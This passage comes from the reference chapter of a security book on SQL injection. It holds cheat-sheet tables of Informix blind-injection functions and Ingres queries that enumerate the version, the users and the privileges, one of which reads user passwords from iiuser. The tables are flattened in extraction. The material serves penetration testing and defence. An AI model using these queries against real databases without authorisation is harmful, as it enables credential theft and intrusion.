SQL Injection Attacks and Defense - 2009

452 Chapter 10 • References
Blind SQL Injection Functions: Informix
Table 10.29 lists functions that are useful when performing blind SQL injection attacks.
Table 10.29 Blind SQL Injection Functions
Data
String length
Extract substring from
a given string
String (‘ABC’) representation
with no single quotes
Query
LENGTH()
SELECT SUBSTRING('ABCD' FROM 4 FOR 1) FROM
systables where tabid = 1;
-- returns 'D'
SELECT CHR(65)||CHR(66)||CHR(67) FROM systables
where tabid = 1;
Ingres Cheat Sheet
The Ingres database is an open source database available for all major operating systems.
Ingres is one of the least popular databases to find integrated with a Web application. For further
information and Ingres tutorials see http://ariel.its.unimelb.edu.au/∼yuan/ingres.html.
Enumerating Database
Configuration Information and Schema
Table 10.30 lists SQL statements used to extract key configuration information. Table 10.31
lists the SQL statements used to enumerate schema information.
Table 10.30 Extracting Ingres Database Configuration Information
Data
Version
Current user
List users
Current user privileges
Query
SELECT dbmsinfo('_version');
SELECT dbmsinfo('system_user');
SELECT dbmsinfo('session_user');
SELECT name, password FROM iiuser;
SELECT dbmsinfo('select_syscat');
SELECT dbmsinfo('db_privileges');
SELECT dbmsinfo('current_priv_mask');
SELECT dbmsinfo('db_admin');
SELECT dbmsinfo('security_priv');
SELECT dbmsinfo('create_table');
SELECT dbmsinfo('create_procedure');